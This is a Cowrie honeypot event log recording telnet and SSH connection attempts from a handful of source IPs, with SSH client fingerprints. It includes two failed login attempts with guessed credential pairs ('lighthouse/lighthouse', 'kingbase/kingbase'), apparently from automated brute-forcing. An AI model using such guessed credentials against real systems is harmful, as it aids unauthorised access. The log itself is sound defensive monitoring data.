{"eventid":"cowrie.session.closed","duration":32.51744604110718,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.795403Z","src_ip":"213.136.75.179","session":"9ed0ad231690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44674,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2a6c11481f","protocol":"telnet","message":"New connection: 213.136.75.179:44674 (10.17.0.5:23) [session: cd2a6c11481f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:32.888481Z"}
{"eventid":"cowrie.session.closed","duration":31.874410390853882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.042040Z","src_ip":"213.136.75.179","session":"a33c80e209d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533658504486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.056430Z","src_ip":"5.189.169.71","session":"30cbe52fced1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"87db3caf805d","protocol":"telnet","message":"New connection: 213.136.75.179:44688 (10.17.0.5:23) [session: 87db3caf805d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.069536Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48874,"dst_ip":"10.17.0.5","dst_port":23,"session":"c667741fb5d2","protocol":"telnet","message":"New connection: 94.23.163.94:48874 (10.17.0.5:23) [session: c667741fb5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.174411Z"}
{"eventid":"cowrie.session.closed","duration":30.980016708374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.321863Z","src_ip":"5.189.169.71","session":"eaa155788ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44178,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c05d8b8534e","protocol":"ssh","message":"New connection: 176.65.139.103:44178 (10.17.0.5:22) [session: 3c05d8b8534e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.363252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.377660Z","src_ip":"176.65.139.103","session":"3c05d8b8534e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.452359Z","src_ip":"176.65.139.103","session":"3c05d8b8534e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae18ae17f089","protocol":"telnet","message":"New connection: 155.117.234.131:50776 (10.17.0.5:23) [session: ae18ae17f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.456399Z"}
{"eventid":"cowrie.session.closed","duration":33.786439657211304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.632385Z","src_ip":"213.136.75.179","session":"2db1c64b0522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.703095Z","src_ip":"20.244.18.126","session":"538a0cd5d463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.798238Z","src_ip":"176.65.139.103","session":"3c05d8b8534e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.408345460891724,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:33.849955Z","src_ip":"213.136.75.179","session":"cd67a7125791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.754451751708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.007693Z","src_ip":"213.136.75.179","session":"18216bfc83a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948732137680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.042962Z","src_ip":"94.23.163.94","session":"8a3a95a50fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134198665618896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.048040Z","src_ip":"94.23.163.94","session":"4223d32b142e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.65437054634094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.289603Z","src_ip":"213.136.75.179","session":"3d3c6b2d8d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44700,"dst_ip":"10.17.0.5","dst_port":23,"session":"63df02452478","protocol":"telnet","message":"New connection: 213.136.75.179:44700 (10.17.0.5:23) [session: 63df02452478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.547057Z"}
{"eventid":"cowrie.session.closed","duration":31.623795747756958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.630330Z","src_ip":"213.136.75.179","session":"55c39fb08129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.767576694488525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.647483Z","src_ip":"213.136.75.179","session":"68f203084a9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:34.895227Z","src_ip":"176.65.139.103","session":"3c05d8b8534e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b5ddaba069","protocol":"telnet","message":"New connection: 94.23.163.94:48880 (10.17.0.5:23) [session: b9b5ddaba069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.105661Z"}
{"eventid":"cowrie.session.closed","duration":30.87199330329895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.147299Z","src_ip":"94.23.163.94","session":"c279aae2ea1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48896,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a702dc801d","protocol":"telnet","message":"New connection: 94.23.163.94:48896 (10.17.0.5:23) [session: f2a702dc801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.230392Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"70fad425317a","protocol":"telnet","message":"New connection: 94.23.163.94:48910 (10.17.0.5:23) [session: 70fad425317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.248402Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48914,"dst_ip":"10.17.0.5","dst_port":23,"session":"d651cc3d4280","protocol":"telnet","message":"New connection: 94.23.163.94:48914 (10.17.0.5:23) [session: d651cc3d4280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.477685Z"}
{"eventid":"cowrie.session.closed","duration":30.857059955596924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.508261Z","src_ip":"94.23.163.94","session":"43149a5a21eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.818009853363037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.556638Z","src_ip":"213.136.75.179","session":"8971610d55f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":50792,"dst_ip":"10.17.0.5","dst_port":23,"session":"99cbfd88adb2","protocol":"telnet","message":"New connection: 155.117.234.131:50792 (10.17.0.5:23) [session: 99cbfd88adb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.798474Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44710,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f16bd9fe5a9","protocol":"telnet","message":"New connection: 213.136.75.179:44710 (10.17.0.5:23) [session: 5f16bd9fe5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:35.957835Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0bedb0aedc3","protocol":"telnet","message":"New connection: 213.136.75.179:44716 (10.17.0.5:23) [session: f0bedb0aedc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:36.345210Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":44720,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2bb7c30290","protocol":"telnet","message":"New connection: 213.136.75.179:44720 (10.17.0.5:23) [session: 9d2bb7c30290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:36.512351Z"}
{"eventid":"cowrie.session.closed","duration":31.580719709396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:36.907380Z","src_ip":"155.117.234.131","session":"303ebeccfaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603030920028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.082581Z","src_ip":"94.23.163.94","session":"7ce2f0ecd82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.285250186920166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.102948Z","src_ip":"94.23.163.94","session":"5e8488dd9112","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.186464071273804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.273485Z","src_ip":"213.136.75.179","session":"ee9b91dade00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521966457366943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.524510Z","src_ip":"213.136.75.179","session":"86d656fbd05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46786,"dst_ip":"10.17.0.5","dst_port":23,"session":"441ae52a6bfb","protocol":"telnet","message":"New connection: 213.136.75.179:46786 (10.17.0.5:23) [session: 441ae52a6bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.759091Z"}
{"eventid":"cowrie.session.closed","duration":31.15651273727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.826906Z","src_ip":"213.136.75.179","session":"5b045eda315f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54900884628296,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:37.888613Z","src_ip":"213.136.75.179","session":"7c872d2a2648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46790,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4facd7ff78","protocol":"telnet","message":"New connection: 213.136.75.179:46790 (10.17.0.5:23) [session: bd4facd7ff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.008835Z"}
{"eventid":"cowrie.session.closed","duration":30.6331467628479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.082432Z","src_ip":"5.189.169.71","session":"56cb8d0a9f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121745824813843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.095008Z","src_ip":"94.23.163.94","session":"81305c7c70b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46796,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ca4594d160","protocol":"telnet","message":"New connection: 213.136.75.179:46796 (10.17.0.5:23) [session: 37ca4594d160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.288330Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46806,"dst_ip":"10.17.0.5","dst_port":23,"session":"faefea2da924","protocol":"telnet","message":"New connection: 213.136.75.179:46806 (10.17.0.5:23) [session: faefea2da924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.294297Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46822,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fad47aef878","protocol":"telnet","message":"New connection: 213.136.75.179:46822 (10.17.0.5:23) [session: 8fad47aef878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:38.579957Z"}
{"eventid":"cowrie.session.closed","duration":31.11603355407715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:39.095072Z","src_ip":"94.23.163.94","session":"d07109adff67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46826,"dst_ip":"10.17.0.5","dst_port":23,"session":"650dd3df2fea","protocol":"telnet","message":"New connection: 213.136.75.179:46826 (10.17.0.5:23) [session: 650dd3df2fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:39.211679Z"}
{"eventid":"cowrie.session.closed","duration":32.54768896102905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:39.386704Z","src_ip":"213.136.75.179","session":"91f939366c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46836,"dst_ip":"10.17.0.5","dst_port":23,"session":"522752e9fea4","protocol":"telnet","message":"New connection: 213.136.75.179:46836 (10.17.0.5:23) [session: 522752e9fea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:39.911113Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dec2ec40648","protocol":"telnet","message":"New connection: 94.23.163.94:48930 (10.17.0.5:23) [session: 0dec2ec40648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:39.995369Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18dbe4657de","protocol":"telnet","message":"New connection: 213.136.75.179:46844 (10.17.0.5:23) [session: a18dbe4657de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.017181Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46850,"dst_ip":"10.17.0.5","dst_port":23,"session":"96888f9f5a22","protocol":"telnet","message":"New connection: 213.136.75.179:46850 (10.17.0.5:23) [session: 96888f9f5a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.060262Z"}
{"eventid":"cowrie.session.closed","duration":30.942601203918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.085921Z","src_ip":"5.189.169.71","session":"73b215105689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48944,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d6616fef89","protocol":"telnet","message":"New connection: 94.23.163.94:48944 (10.17.0.5:23) [session: 91d6616fef89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.815338Z"}
{"eventid":"cowrie.session.closed","duration":31.11879825592041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.915095Z","src_ip":"213.136.75.179","session":"8d50c0534540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44204,"dst_ip":"10.17.0.5","dst_port":22,"session":"99636262aef8","protocol":"ssh","message":"New connection: 176.65.139.103:44204 (10.17.0.5:22) [session: 99636262aef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.983328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:40.988036Z","src_ip":"176.65.139.103","session":"99636262aef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.034822463989258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.059375Z","src_ip":"5.189.169.71","session":"d90c0fc5ba92","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.070306Z","src_ip":"176.65.139.103","session":"99636262aef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":46854,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b1d4e5ebce","protocol":"telnet","message":"New connection: 213.136.75.179:46854 (10.17.0.5:23) [session: 17b1d4e5ebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.239582Z"}
{"eventid":"cowrie.session.closed","duration":31.770734310150146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.279462Z","src_ip":"213.136.75.179","session":"85897ee08e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042952060699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.309231Z","src_ip":"94.23.163.94","session":"f4c28a659e40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:41.325032Z","src_ip":"176.65.139.103","session":"99636262aef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.529757261276245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.064659Z","src_ip":"94.23.163.94","session":"9a83c546e844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640008687973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.071750Z","src_ip":"5.189.169.71","session":"e9ee2f834e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0698299407959,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.100247Z","src_ip":"5.189.169.71","session":"3349c80f5fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51765823364258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.133621Z","src_ip":"213.136.75.179","session":"b3ab474b5a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71043920516968,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.145203Z","src_ip":"213.136.75.179","session":"7f790a5851a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33005452156067,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.168050Z","src_ip":"213.136.75.179","session":"111cb3e30f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":48958,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26c01c2eec4","protocol":"telnet","message":"New connection: 94.23.163.94:48958 (10.17.0.5:23) [session: f26c01c2eec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.173390Z"}
{"eventid":"cowrie.session.closed","duration":34.87756681442261,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:34:42.200174Z","src_ip":"213.136.75.179","session":"adb2db2dd4ff","protocol":"telnet"}
